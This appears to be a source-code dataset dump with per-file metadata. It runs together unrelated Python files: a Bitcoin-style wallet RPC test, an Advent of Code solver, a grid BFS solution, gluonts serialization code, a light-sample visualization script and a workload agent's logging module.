self.nodes[3].fundrawtransaction(rawtx, {"reserveChangeKey": False}) res_dec = self.nodes[0].decoderawtransaction(result3["hex"]) changeaddress = "" for out in res_dec['vout']: if out['value'] > 1.0: changeaddress += out['scriptPubKey']['addresses'][0] assert(changeaddress != "") nextaddr = self.nodes[3].getnewaddress() # frt should not have removed the key from the keypool assert(changeaddress == nextaddr) result3 = self.nodes[3].fundrawtransaction(rawtx) res_dec = self.nodes[0].decoderawtransaction(result3["hex"]) changeaddress = "" for out in res_dec['vout']: if out['value'] > 1.0: changeaddress += out['scriptPubKey']['addresses'][0] assert(changeaddress != "") nextaddr = self.nodes[3].getnewaddress() # Now the change address key should be removed from the keypool assert(changeaddress != nextaddr) ###################################### # Test subtractFeeFromOutputs option # ###################################### # Make sure there is exactly one input so coin selection can't skew the result assert_equal(len(self.nodes[3].listunspent(1)), 1) # Disable BIP69 sorting of inputs and outputs self.nodes[3].setbip69enabled(False) inputs = [] outputs = {self.nodes[2].getnewaddress(): 1} rawtx = self.nodes[3].createrawtransaction(inputs, outputs) result = [self.nodes[3].fundrawtransaction(rawtx), # uses min_relay_tx_fee (set by settxfee) self.nodes[3].fundrawtransaction(rawtx, {"subtractFeeFromOutputs": []}), # empty subtraction list self.nodes[3].fundrawtransaction(rawtx, {"subtractFeeFromOutputs": [0]}), # uses min_relay_tx_fee (set by settxfee) self.nodes[3].fundrawtransaction(rawtx, {"feeRate": 2*min_relay_tx_fee}), self.nodes[3].fundrawtransaction(rawtx, {"feeRate": 2*min_relay_tx_fee, "subtractFeeFromOutputs": [0]})] dec_tx = [self.nodes[3].decoderawtransaction(tx['hex']) for tx in result] output = [d['vout'][1 - r['changepos']]['value'] for d, r in zip(dec_tx, result)] change = [d['vout'][r['changepos']]['value'] for d, r in zip(dec_tx, result)] assert_equal(result[0]['fee'], result[1]['fee'], result[2]['fee']) assert_equal(result[3]['fee'], result[4]['fee']) assert_equal(change[0], change[1]) assert_equal(output[0], output[1]) assert_equal(output[0], output[2] + result[2]['fee']) assert_equal(change[0] + result[0]['fee'], change[2]) assert_equal(output[3], output[4] + result[4]['fee']) assert_equal(change[3] + result[3]['fee'], change[4]) inputs = [] outputs = {self.nodes[2].getnewaddress(): value for value in (1.0, 1.1, 1.2, 1.3)} keys = list(outputs.keys()) rawtx = self.nodes[3].createrawtransaction(inputs, outputs) result = [self.nodes[3].fundrawtransaction(rawtx), # split the fee between outputs 0, 2, and 3, but not output 1 self.nodes[3].fundrawtransaction(rawtx, {"subtractFeeFromOutputs": [0, 2, 3]})] dec_tx = [self.nodes[3].decoderawtransaction(result[0]['hex']), self.nodes[3].decoderawtransaction(result[1]['hex'])] # Nested list of non-change output amounts for each transaction output = [[out['value'] for i, out in enumerate(d['vout']) if i != r['changepos']] for d, r in zip(dec_tx, result)] # List of differences in output amounts between normal and subtractFee transactions share = [o0 - o1 for o0, o1 in zip(output[0], output[1])] # output 1 is the same in both transactions assert_equal(share[1], 0) # the other 3 outputs are smaller as a result of subtractFeeFromOutputs assert_greater_than(share[0], 0) assert_greater_than(share[2], 0) assert_greater_than(share[3], 0) # outputs 2 and 3 take the same share of the fee assert_equal(share[2], share[3]) # output 0 takes at least as much share of the fee, and no more than 2 satoshis more, than outputs 2 and 3 assert_greater_than_or_equal(share[0], share[2]) assert_greater_than_or_equal(share[2] + Decimal(2e-8), share[0]) # the fee is the same in both transactions assert_equal(result[0]['fee'], result[1]['fee']) # the total subtracted from the outputs is equal to the fee assert_equal(share[0] + share[2] + share[3], result[0]['fee']) # Reenable BIP69 sorting of inputs and outputs self.nodes[3].setbip69enabled(True) if __name__ == '__main__': RawTransactionsTest().main()
43.703752
214
0.569606
from test_framework.test_framework import BitcoinTestFramework from test_framework.util import * def get_unspent(listunspent, amount): for utx in listunspent: if utx['amount'] == amount: return utx raise AssertionError('Could not find unspent with amount={}'.format(amount)) class RawTransactionsTest(BitcoinTestFramework): def __init__(self): super().__init__() self.setup_clean_chain = True self.num_nodes = 4 def setup_network(self, split=False): self.nodes = start_nodes(self.num_nodes, self.options.tmpdir, [['-usehd=0']] * self.num_nodes) connect_nodes_bi(self.nodes,0,1) connect_nodes_bi(self.nodes,1,2) connect_nodes_bi(self.nodes,0,2) connect_nodes_bi(self.nodes,0,3) self.is_network_split=False self.sync_all() def run_test(self): print("Mining blocks...") min_relay_tx_fee = self.nodes[0].getnetworkinfo()['relayfee'] # to be sure all txs are sent at a consistent desired feerate for node in self.nodes: node.settxfee(min_relay_tx_fee) # if the fee's positive delta is higher than this value tests will fail, feeTolerance = 2 * min_relay_tx_fee/1000 self.nodes[2].generate(1) self.sync_all() self.nodes[0].generate(121) self.sync_all() rawmatch = self.nodes[2].createrawtransaction([], {self.nodes[2].getnewaddress():500}) rawmatch = self.nodes[2].fundrawtransaction(rawmatch, {"changePosition":1, "subtractFeeFromOutputs":[0]}) assert_equal(rawmatch["changepos"], -1) watchonly_address = self.nodes[0].getnewaddress() watchonly_pubkey = self.nodes[0].validateaddress(watchonly_address)["pubkey"] watchonly_amount = Decimal(2000) self.nodes[3].importpubkey(watchonly_pubkey, "", True) watchonly_txid = self.nodes[0].sendtoaddress(watchonly_address, watchonly_amount) self.nodes[0].sendtoaddress(self.nodes[3].getnewaddress(), watchonly_amount / 10) self.nodes[0].sendtoaddress(self.nodes[2].getnewaddress(), 15) self.nodes[0].sendtoaddress(self.nodes[2].getnewaddress(), 10) self.nodes[0].sendtoaddress(self.nodes[2].getnewaddress(), 50) self.nodes[0].generate(1) self.sync_all() ansaction(rawtx) rawtxfund = self.nodes[2].fundrawtransaction(rawtx) fee = rawtxfund['fee'] dec_tx = self.nodes[2].decoderawtransaction(rawtxfund['hex']) assert(len(dec_tx['vin']) > 0)
true
true
f73d8e8be8d1951962c3e8024c9d536d40e4d73c
887
py
Python
day8/day8.py
Ps-spectre/advent2019
f5aa79f3da8156434aa51b369ec57b1e5ad52697
[ "MIT" ]
null
null
null
day8/day8.py
Ps-spectre/advent2019
f5aa79f3da8156434aa51b369ec57b1e5ad52697
[ "MIT" ]
null
null
null
day8/day8.py
Ps-spectre/advent2019
f5aa79f3da8156434aa51b369ec57b1e5ad52697
[ "MIT" ]
null
null
null
from collections import Counter a = input().strip() W = 25 H = 6 def get_layers(a, w, h): total = w * h layers = [] for i, v in enumerate(a): if i == 0 or i % total == 0: layers.append(list()) layers[-1].append(int(v)) return layers def part1(a, w, h): layers = get_layers(a, w, h) counters = [] for l in layers: counters.append(Counter(l)) c = min(counters, key=lambda x: x[0]) res = c[1] * c[2] return res def part2(a, w, h): layers = get_layers(a, w, h) res = [] for i in range(len(layers[0])): l = 0 while layers[l][i] == 2: l += 1 res.append(layers[l][i]) for i, px in enumerate(res): sym = " " if px == 1: sym = "%" print(sym, end='') if (i+1) % w == 0: print() print() print(part1(a, W, H)) part2(a, W, H)
18.87234
41
0.482525
from collections import Counter a = input().strip() W = 25 H = 6 def get_layers(a, w, h): total = w * h layers = [] for i, v in enumerate(a): if i == 0 or i % total == 0: layers.append(list()) layers[-1].append(int(v)) return layers def part1(a, w, h): layers = get_layers(a, w, h) counters = [] for l in layers: counters.append(Counter(l)) c = min(counters, key=lambda x: x[0]) res = c[1] * c[2] return res def part2(a, w, h): layers = get_layers(a, w, h) res = [] for i in range(len(layers[0])): l = 0 while layers[l][i] == 2: l += 1 res.append(layers[l][i]) for i, px in enumerate(res): sym = " " if px == 1: sym = "%" print(sym, end='') if (i+1) % w == 0: print() print() print(part1(a, W, H)) part2(a, W, H)
true
true
f73d8ea647e489e0d6ba7eccd9286fea0e1d8d10
147
py
Python
openselfsup/__init__.py
neuroailab/OpenSelfSup
37709c326173a981292fed12c336c82d3356cab2
[ "Apache-2.0" ]
null
null
null
openselfsup/__init__.py
neuroailab/OpenSelfSup
37709c326173a981292fed12c336c82d3356cab2
[ "Apache-2.0" ]
null
null
null
openselfsup/__init__.py
neuroailab/OpenSelfSup
37709c326173a981292fed12c336c82d3356cab2
[ "Apache-2.0" ]
null
null
null
#from .version import __version__, short_version __version__ = '0.2.0+802fbf2' short_version = '0.2.0' __all__ = ['__version__', 'short_version']
24.5
48
0.741497
__version__ = '0.2.0+802fbf2' short_version = '0.2.0' __all__ = ['__version__', 'short_version']
true
true
f73d8ed23868ba52f022e4f17ca43ad0a39cd922
287
py
Python
hiicart/gateway/amazon/urls.py
kbourgoin/hiicart
151d64be60ffa5e09b4abc21bf42fd235bf87eea
[ "MIT" ]
null
null
null
hiicart/gateway/amazon/urls.py
kbourgoin/hiicart
151d64be60ffa5e09b4abc21bf42fd235bf87eea
[ "MIT" ]
5
2020-10-29T01:05:05.000Z
2020-10-29T01:05:19.000Z
hiicart/gateway/amazon/urls.py
kbourgoin/hiicart
151d64be60ffa5e09b4abc21bf42fd235bf87eea
[ "MIT" ]
null
null
null
import hiicart.gateway.amazon.views from django.conf.urls.defaults import * urlpatterns = patterns('', (r'cbui/?$', 'hiicart.gateway.amazon.views.cbui'), (r'ipn/?$', 'hiicart.gateway.amazon.views.ipn'), )
28.7
88
0.515679
import hiicart.gateway.amazon.views from django.conf.urls.defaults import * urlpatterns = patterns('', (r'cbui/?$', 'hiicart.gateway.amazon.views.cbui'), (r'ipn/?$', 'hiicart.gateway.amazon.views.ipn'), )
true
true
f73d8f17cb86b7e95d78ab2094bea74ecef36925
1,613
py
Python
com/LimePencil/Q2206/_.py
LimePencil/baekjoonProblems
61eeeeb875585d165d9e39ecdb3d905b4ba6aa87
[ "MIT" ]
2
2021-07-17T13:05:42.000Z
2021-09-12T09:14:24.000Z
com/LimePencil/Q2206/_.py
LimePencil/baekjoonProblems
61eeeeb875585d165d9e39ecdb3d905b4ba6aa87
[ "MIT" ]
null
null
null
com/LimePencil/Q2206/_.py
LimePencil/baekjoonProblems
61eeeeb875585d165d9e39ecdb3d905b4ba6aa87
[ "MIT" ]
null
null
null
import sys from collections import deque def BFS(): queue = deque() queue.append((0,0,1,False)) visited = [[[0]*2 for _ in range(m)]for _ in range(n)] visited[0][0][0] = 1 while queue: x,y,d,b = queue.popleft() if x== n-1 and y == m-1: return d if 0<=x+1<n and road[x+1][y] ==1 and b==0: visited[x+1][y][1] = 1 queue.append((x+1,y,d+1,1)) if 0<=x-1<n and road[x-1][y] ==1 and b==0: visited[x-1][y][1] = 1 queue.append((x-1,y,d+1,1)) if 0<=y+1<m and road[x][y+1] ==1 and b==0: visited[x][y+1][1] = 1 queue.append((x,y+1,d+1,1)) if 0<=y-1<m and road[x][y-1] ==1 and b==0: visited[x][y-1][1] = 1 queue.append((x,y-1,d+1,1)) if 0<=x+1<n and road[x+1][y] ==0 and visited[x+1][y][b] == 0: visited[x+1][y][b] = 1 queue.append((x+1,y,d+1,b)) if 0<=x-1<n and road[x-1][y] ==0 and visited[x-1][y][b] == 0: visited[x-1][y][b] = 1 queue.append((x-1,y,d+1,b)) if 0<=y+1<m and road[x][y+1] ==0 and visited[x][y+1][b] == 0: visited[x][y+1][b] = 1 queue.append((x,y+1,d+1,b)) if 0<=y-1<m and road[x][y-1] ==0 and visited[x][y-1][b] == 0: visited[x][y-1][b] = 1 queue.append((x,y-1,d+1,b)) return -1 n,m = list(map(int,sys.stdin.readline().rstrip("\n").split(" "))) road = [] for i in range(n): o = sys.stdin.readline().rstrip("\n") l = [] for c in o: l.append(int(c)) road.append(l) print(BFS())
34.319149
69
0.453193
import sys from collections import deque def BFS(): queue = deque() queue.append((0,0,1,False)) visited = [[[0]*2 for _ in range(m)]for _ in range(n)] visited[0][0][0] = 1 while queue: x,y,d,b = queue.popleft() if x== n-1 and y == m-1: return d if 0<=x+1<n and road[x+1][y] ==1 and b==0: visited[x+1][y][1] = 1 queue.append((x+1,y,d+1,1)) if 0<=x-1<n and road[x-1][y] ==1 and b==0: visited[x-1][y][1] = 1 queue.append((x-1,y,d+1,1)) if 0<=y+1<m and road[x][y+1] ==1 and b==0: visited[x][y+1][1] = 1 queue.append((x,y+1,d+1,1)) if 0<=y-1<m and road[x][y-1] ==1 and b==0: visited[x][y-1][1] = 1 queue.append((x,y-1,d+1,1)) if 0<=x+1<n and road[x+1][y] ==0 and visited[x+1][y][b] == 0: visited[x+1][y][b] = 1 queue.append((x+1,y,d+1,b)) if 0<=x-1<n and road[x-1][y] ==0 and visited[x-1][y][b] == 0: visited[x-1][y][b] = 1 queue.append((x-1,y,d+1,b)) if 0<=y+1<m and road[x][y+1] ==0 and visited[x][y+1][b] == 0: visited[x][y+1][b] = 1 queue.append((x,y+1,d+1,b)) if 0<=y-1<m and road[x][y-1] ==0 and visited[x][y-1][b] == 0: visited[x][y-1][b] = 1 queue.append((x,y-1,d+1,b)) return -1 n,m = list(map(int,sys.stdin.readline().rstrip("\n").split(" "))) road = [] for i in range(n): o = sys.stdin.readline().rstrip("\n") l = [] for c in o: l.append(int(c)) road.append(l) print(BFS())
true
true
f73d919be2e880e239f009271cf0b1adf2ffb08b
13
py
Python
src/core/src/core/cmd_config.py
RizkiMufrizal/Axway-API-Gateway-Docker
2a3a39f89ea695c5d48dec0392d5d7c8e868cce1
[ "Linux-OpenIB" ]
null
null
null
src/core/src/core/cmd_config.py
RizkiMufrizal/Axway-API-Gateway-Docker
2a3a39f89ea695c5d48dec0392d5d7c8e868cce1
[ "Linux-OpenIB" ]
null
null
null
src/core/src/core/cmd_config.py
RizkiMufrizal/Axway-API-Gateway-Docker
2a3a39f89ea695c5d48dec0392d5d7c8e868cce1
[ "Linux-OpenIB" ]
1
2021-07-10T09:21:13.000Z
2021-07-10T09:21:13.000Z
VERBOSE=None
6.5
12
0.846154
VERBOSE=None
true
true
f73d9290f23f8296813ec0fc4d326d31abecbdc9
520
py
Python
espresso/optim/lr_scheduler/__init__.py
huangruizhe/espresso
ee658bcc959bfbe8a7a61d7374d532d082d2aa26
[ "MIT" ]
1
2021-01-08T02:51:16.000Z
2021-01-08T02:51:16.000Z
espresso/optim/lr_scheduler/__init__.py
huangruizhe/espresso
ee658bcc959bfbe8a7a61d7374d532d082d2aa26
[ "MIT" ]
null
null
null
espresso/optim/lr_scheduler/__init__.py
huangruizhe/espresso
ee658bcc959bfbe8a7a61d7374d532d082d2aa26
[ "MIT" ]
2
2021-01-15T09:55:07.000Z
2021-01-15T10:02:31.000Z
# Copyright (c) Yiming Wang # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. import importlib import os # automatically import any Python files in the optim/lr_scheduler/ directory for file in os.listdir(os.path.dirname(__file__)): if not file.startswith("_") and not file.startswith(".") and file.endswith(".py"): file_name = file[: file.find(".py")] importlib.import_module("espresso.optim.lr_scheduler." + file_name)
34.666667
86
0.728846
import importlib import os for file in os.listdir(os.path.dirname(__file__)): if not file.startswith("_") and not file.startswith(".") and file.endswith(".py"): file_name = file[: file.find(".py")] importlib.import_module("espresso.optim.lr_scheduler." + file_name)
true
true
f73d92c3cd9d4331182c50f2a7075c0ebd9fb9bd
2,908
py
Python
src/gluonts/core/serde/_repr.py
Xiaoxiong-Liu/gluon-ts
097c492769258dd70b7f223f826b17b0051ceee9
[ "Apache-2.0" ]
2,648
2019-06-03T17:18:27.000Z
2022-03-31T08:29:22.000Z
src/gluonts/core/serde/_repr.py
Xiaoxiong-Liu/gluon-ts
097c492769258dd70b7f223f826b17b0051ceee9
[ "Apache-2.0" ]
1,220
2019-06-04T09:00:14.000Z
2022-03-31T10:45:43.000Z
src/gluonts/core/serde/_repr.py
Xiaoxiong-Liu/gluon-ts
097c492769258dd70b7f223f826b17b0051ceee9
[ "Apache-2.0" ]
595
2019-06-04T01:04:31.000Z
2022-03-30T10:40:26.000Z
# Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). # You may not use this file except in compliance with the License. # A copy of the License is located at # # http://www.apache.org/licenses/LICENSE-2.0 # # or in the "license" file accompanying this file. This file is distributed # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either # express or implied. See the License for the specific language governing # permissions and limitations under the License. import itertools import json import math from functools import singledispatch from typing import Any from gluonts.core import fqname_for from ._base import Kind, encode, decode from ._parse import parse @singledispatch def as_repr(x): if isinstance(x, (int, type(None))): return str(x) raise RuntimeError(f"Unexpected element type {fqname_for(x.__class__)}") @as_repr.register(str) def as_repr_str(x: str): # json.dumps escapes the string return json.dumps(x) @as_repr.register(list) def as_repr_list(x: list): inner = ", ".join(map(as_repr, x)) return f"[{inner}]" @as_repr.register(float) def as_repr_float(x: float): if math.isfinite(x): return str(x) else: # e.g. `nan` needs to be encoded as `float("nan")` return 'float("{x}")' @as_repr.register(dict) def as_repr_dict(x: dict): kind = x.get("__kind__") if kind == Kind.Stateful: raise ValueError( f"Can not encode create representation for stateful object {x}." ) if kind == Kind.Type: return x["class"] if kind == Kind.Instance: if x["class"] == "builtins.tuple": data = x["args"][0] inner = ", ".join(map(as_repr, data)) # account for the extra `,` in `(x,)` if len(data) == 1: inner += "," return f"({inner})" if x["class"] == "builtins.set": data = x["args"][0] return f"set({as_repr(data)})" args = x.get("args", []) kwargs = x.get("kwargs", {}) fqname = x["class"] bindings = ", ".join( itertools.chain( map(as_repr, args), [f"{k}={as_repr(v)}" for k, v in kwargs.items()], ) ) return f"{fqname}({bindings})" inner = ", ".join(f"{as_repr(k)}: {as_repr(v)}" for k, v in x.items()) return f"{{{inner}}}" def dump_code(o: Any) -> str: """ Serializes an object to a Python code string. Parameters ---------- o The object to serialize. Returns ------- str A string representing the object as Python code. See Also -------- load_code Inverse function. """ return as_repr(encode(o)) def load_code(s): return decode(parse(s))
24.233333
76
0.590784
import itertools import json import math from functools import singledispatch from typing import Any from gluonts.core import fqname_for from ._base import Kind, encode, decode from ._parse import parse @singledispatch def as_repr(x): if isinstance(x, (int, type(None))): return str(x) raise RuntimeError(f"Unexpected element type {fqname_for(x.__class__)}") @as_repr.register(str) def as_repr_str(x: str): return json.dumps(x) @as_repr.register(list) def as_repr_list(x: list): inner = ", ".join(map(as_repr, x)) return f"[{inner}]" @as_repr.register(float) def as_repr_float(x: float): if math.isfinite(x): return str(x) else: return 'float("{x}")' @as_repr.register(dict) def as_repr_dict(x: dict): kind = x.get("__kind__") if kind == Kind.Stateful: raise ValueError( f"Can not encode create representation for stateful object {x}." ) if kind == Kind.Type: return x["class"] if kind == Kind.Instance: if x["class"] == "builtins.tuple": data = x["args"][0] inner = ", ".join(map(as_repr, data)) if len(data) == 1: inner += "," return f"({inner})" if x["class"] == "builtins.set": data = x["args"][0] return f"set({as_repr(data)})" args = x.get("args", []) kwargs = x.get("kwargs", {}) fqname = x["class"] bindings = ", ".join( itertools.chain( map(as_repr, args), [f"{k}={as_repr(v)}" for k, v in kwargs.items()], ) ) return f"{fqname}({bindings})" inner = ", ".join(f"{as_repr(k)}: {as_repr(v)}" for k, v in x.items()) return f"{{{inner}}}" def dump_code(o: Any) -> str: return as_repr(encode(o)) def load_code(s): return decode(parse(s))
true
true
f73d92f9441efc0cc1ab98703b57e2d4168de1c0
1,557
py
Python
util/visualize_light_samples.py
wi1k1n/nrf-accelerations
3075d63177e8ac04ee91784d5b0c56379335740f
[ "MIT" ]
null
null
null
util/visualize_light_samples.py
wi1k1n/nrf-accelerations
3075d63177e8ac04ee91784d5b0c56379335740f
[ "MIT" ]
null
null
null
util/visualize_light_samples.py
wi1k1n/nrf-accelerations
3075d63177e8ac04ee91784d5b0c56379335740f
[ "MIT" ]
null
null
null
import argparse, sys, os, os.path as op, json, subprocess import numpy as np import open3d as o3d import plotly.graph_objects as go PATH = 'D:\\edu\\UniBonn\\Study\\thesis\\codes\\NSVF\\' # PATH2MODEL = 'D:\\edu\\UniBonn\\Study\\thesis\\codes\\blender\\projects\\brdf_sphere\\brdf_sphere.ply' plotData = [] light_start = np.load(op.join(PATH, 'light_start.npy')) light_dirs = np.load(op.join(PATH, 'light_dirs.npy')) hits = np.load(op.join(PATH, 'hits.npy')) # sample_xyz = ray_start + ray_dir * sampled_depth # sample_xyz = sample_xyz[np.tile(sample_mask, sample_mask + (3,))].reshape(sample_xyz.shape) # light_start = light_start[39, :25, :] # light_dirs = light_dirs[39, :25, :] light_start = light_start[:5, ...] light_dirs = light_dirs[:5, ...] hits = hits[:5, ...] for i, ls in enumerate(light_start): cv = ls[hits[i] > 0] plotData.append(go.Scatter3d(x=cv[:, 0], y=cv[:, 1], z=cv[:, 2], name='v{}'.format(i), marker=dict(size=1, color="blue"), mode='markers') ) for i, d in enumerate(light_dirs): cd = d[hits[i] > 0] cd /= np.linalg.norm(cd, axis=0) cv = light_start[i][hits[i] > 0] cvt = cv + cd for j, cp in enumerate(cv): plotData.append(go.Scatter3d( x=[cp[0], cvt[j, 0]], y=[cp[1], cvt[j, 1]], z=[cp[2], cvt[j, 2]], name='pts', marker=dict(size=1, color="red"), mode='lines') ) fig = go.Figure(data=plotData) print('Saving to {0}'.format(os.path.abspath('visualize_light_samples.html'))) fig.write_html('visualize_light_samples.html', auto_open=True)
31.14
104
0.639049
import argparse, sys, os, os.path as op, json, subprocess import numpy as np import open3d as o3d import plotly.graph_objects as go PATH = 'D:\\edu\\UniBonn\\Study\\thesis\\codes\\NSVF\\' plotData = [] light_start = np.load(op.join(PATH, 'light_start.npy')) light_dirs = np.load(op.join(PATH, 'light_dirs.npy')) hits = np.load(op.join(PATH, 'hits.npy')) light_start = light_start[:5, ...] light_dirs = light_dirs[:5, ...] hits = hits[:5, ...] for i, ls in enumerate(light_start): cv = ls[hits[i] > 0] plotData.append(go.Scatter3d(x=cv[:, 0], y=cv[:, 1], z=cv[:, 2], name='v{}'.format(i), marker=dict(size=1, color="blue"), mode='markers') ) for i, d in enumerate(light_dirs): cd = d[hits[i] > 0] cd /= np.linalg.norm(cd, axis=0) cv = light_start[i][hits[i] > 0] cvt = cv + cd for j, cp in enumerate(cv): plotData.append(go.Scatter3d( x=[cp[0], cvt[j, 0]], y=[cp[1], cvt[j, 1]], z=[cp[2], cvt[j, 2]], name='pts', marker=dict(size=1, color="red"), mode='lines') ) fig = go.Figure(data=plotData) print('Saving to {0}'.format(os.path.abspath('visualize_light_samples.html'))) fig.write_html('visualize_light_samples.html', auto_open=True)
true
true
f73d93627dfb19b29d516107c1935542a8ba44f8
6,177
py
Python
wca/logger.py
egernst/workload-collocation-agent
95f3d0de4cc4f67a98679daad8cebb18cb7c09f2
[ "Apache-2.0" ]
null
null
null
wca/logger.py
egernst/workload-collocation-agent
95f3d0de4cc4f67a98679daad8cebb18cb7c09f2
[ "Apache-2.0" ]
null
null
null
wca/logger.py
egernst/workload-collocation-agent
95f3d0de4cc4f67a98679daad8cebb18cb7c09f2
[ "Apache-2.0" ]
null
null
null
# Copyright (c) 2018 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import logging import sys import time from typing import List, Dict from collections import Counter, defaultdict from wca.metrics import Metric, MetricType import colorlog TRACE = 9 DEFAULT_MODULE = 'wca' log = logging.getLogger(__name__) _module_record_counters = defaultdict(Counter) class CountingHandler(logging.Handler): def __init__(self, counters: Dict[str, Counter]): super().__init__() self.counters = counters def emit(self, record: logging.LogRecord): self.counters[record.name][record.levelno] += 1 def get_logging_metrics() -> List[Metric]: metrics = [] for logger_name, counter in _module_record_counters.items(): metrics.extend([ Metric( name="wca_warning_count", type=MetricType.COUNTER, value=counter[logging.WARNING], labels={"module": logger_name} ), Metric( name="wca_error_count", type=MetricType.COUNTER, value=counter[logging.ERROR], labels={"module": logger_name} ), ]) return metrics def parse_loggers_from_list(log_levels_list: List[str]) -> Dict[str, str]: """Configure loggers using list of strings in a form '[module:]level'. """ log_levels_dict = {} for log_level in log_levels_list: if ':' in log_level: if len(log_level.split(':')) != 2: log.error('Loggers levels from command line my be in form module:level!') exit(1) module, log_level = log_level.split(':') else: module = DEFAULT_MODULE log_levels_dict[module] = log_level return log_levels_dict def configure_loggers_from_dict(loggers: Dict[str, str]): """Handle loggers section, provided as dict from module to level.""" for module, log_level in loggers.items(): init_logging(log_level, package_name=module) def init_logging(level: str, package_name: str): level = level.upper() logging.captureWarnings(True) logging.addLevelName(TRACE, 'TRACE') log_colors = dict(colorlog.default_log_colors, **dict(TRACE='cyan')) # formatter and handler formatter = colorlog.ColoredFormatter( log_colors=log_colors, fmt='%(asctime)s %(log_color)s%(levelname)-8s%(reset)s' ' %(cyan)s{%(threadName)s} %(blue)s[%(name)s]%(reset)s %(message)s', ) package_logger = logging.getLogger(package_name) package_logger.handlers.clear() # do not attache the same handler twice handler = logging.StreamHandler(sys.stdout) handler.setFormatter(formatter) counting_handler = CountingHandler(_module_record_counters) # Module scoped loggers add formatter handler and disable propagation. package_logger.addHandler(handler) package_logger.addHandler(counting_handler) package_logger.propagate = False # Because we have own handler. package_logger.setLevel(level) # Inform about tracing level (because of number of metrics). package_logger.log(TRACE, 'Package logger trace messages enabled.') # Prepare main log to be used by main entry point module # (because you cannot create logger before initialization). log.debug( 'setting level=%s for %r package', logging.getLevelName(log.getEffectiveLevel()), package_name ) def trace(log, verbose=None): """Decorator to trace calling of given function reporting all arguments, returned value and time of executions. If the arguments are shown depends on 1) the level of the logger and 2) the argument `verbose` to the trace decorator. By default arguments of a decorated function are printed only if the level of the logger is set to TRACE. To force printing of input arguments at the DEBUG trace level set the verbose argument of the decorator to True. Additionally, depending on the level of the logger: - for DEBUG level only the name of function and execution time is logged - for TRACE level both arguments and return value is shown Example usage: # wca/some_module.py log = logging.getLogger(__name__) @trace(log) def some_function(x): return x+1 some_function(1) output in logs (when TRACE level is used) [TRACE] wca.some_module: -> some_function(args=(1,), kw={}) [TRACE] wca.some_module: <- some_function(...) = 2 (1.5s) output in logs (when DEBUG level is used) [TRACE] wca.some_module: -> some_function() [TRACE] wca.some_module: <- some_function() (1.5s) """ def _trace(func): def __trace(*args, **kw): s = time.time() if verbose is not None: log_input_output = verbose level = logging.DEBUG if verbose is True else TRACE else: trace_level_is_enabled = (log.getEffectiveLevel() == TRACE) log_input_output = trace_level_is_enabled level = TRACE if trace_level_is_enabled else logging.DEBUG if log_input_output: log.log(level, '-> %s(args=%r, kw=%r)', func.__name__, args, kw) else: log.log(level, '-> %s()', func.__name__) rv = func(*args, **kw) if log_input_output: log.log(level, '<- %s() = %r (%.2fs)', func.__name__, rv, time.time() - s) else: log.log(level, '<- %s() (%.2fs)', func.__name__, time.time() - s) return rv return __trace return _trace
32.510526
97
0.650639
import logging import sys import time from typing import List, Dict from collections import Counter, defaultdict from wca.metrics import Metric, MetricType import colorlog TRACE = 9 DEFAULT_MODULE = 'wca' log = logging.getLogger(__name__) _module_record_counters = defaultdict(Counter) class CountingHandler(logging.Handler): def __init__(self, counters: Dict[str, Counter]): super().__init__() self.counters = counters def emit(self, record: logging.LogRecord): self.counters[record.name][record.levelno] += 1 def get_logging_metrics() -> List[Metric]: metrics = [] for logger_name, counter in _module_record_counters.items(): metrics.extend([ Metric( name="wca_warning_count", type=MetricType.COUNTER, value=counter[logging.WARNING], labels={"module": logger_name} ), Metric( name="wca_error_count", type=MetricType.COUNTER, value=counter[logging.ERROR], labels={"module": logger_name} ), ]) return metrics def parse_loggers_from_list(log_levels_list: List[str]) -> Dict[str, str]: log_levels_dict = {} for log_level in log_levels_list: if ':' in log_level: if len(log_level.split(':')) != 2: log.error('Loggers levels from command line my be in form module:level!') exit(1) module, log_level = log_level.split(':') else: module = DEFAULT_MODULE log_levels_dict[module] = log_level return log_levels_dict def configure_loggers_from_dict(loggers: Dict[str, str]): for module, log_level in loggers.items(): init_logging(log_level, package_name=module) def init_logging(level: str, package_name: str): level = level.upper() logging.captureWarnings(True) logging.addLevelName(TRACE, 'TRACE') log_colors = dict(colorlog.default_log_colors, **dict(TRACE='cyan')) formatter = colorlog.ColoredFormatter( log_colors=log_colors, fmt='%(asctime)s %(log_color)s%(levelname)-8s%(reset)s' ' %(cyan)s{%(threadName)s} %(blue)s[%(name)s]%(reset)s %(message)s', ) package_logger = logging.getLogger(package_name) package_logger.handlers.clear() handler = logging.StreamHandler(sys.stdout) handler.setFormatter(formatter) counting_handler = CountingHandler(_module_record_counters) package_logger.addHandler(handler) package_logger.addHandler(counting_handler) package_logger.propagate = False package_logger.setLevel(level) package_logger.log(TRACE, 'Package logger trace messages enabled.') log.debug( 'setting level=%s for %r package', logging.getLevelName(log.getEffectiveLevel()), package_name ) def trace(log, verbose=None): def _trace(func): def __trace(*args, **kw): s = time.time() if verbose is not None: log_input_output = verbose level = logging.DEBUG if verbose is True else TRACE else: trace_level_is_enabled = (log.getEffectiveLevel() == TRACE) log_input_output = trace_level_is_enabled level = TRACE if trace_level_is_enabled else logging.DEBUG if log_input_output: log.log(level, '-> %s(args=%r, kw=%r)', func.__name__, args, kw) else: log.log(level, '-> %s()', func.__name__) rv = func(*args, **kw) if log_input_output: log.log(level, '<- %s() = %r (%.2fs)', func.__name__, rv, time.time() - s) else: log.log(level, '<- %s() (%.2fs)', func.__name__, time.time() - s) return rv return __trace return _trace
true
true
f73d93eb929b304e3496c2dd1244ed93c6581d64
27,783
py
Python
asadm.py
aerospike/aerospike-admin
dde7b15e798bf199b1c59279f65e5f963d4e3789
[ "Apache-2.0" ]
37
2015-02-20T20:50:40.000Z
2021-11-11T18:54:02.000Z
asadm.py
aerospike/aerospike-admin
dde7b15e798bf199b1c59279f65e5f963d4e3789
[ "Apache-2.0" ]
23
2015-02-26T01:11:49.000Z
2021-06-30T22:08:58.000Z
asadm.py
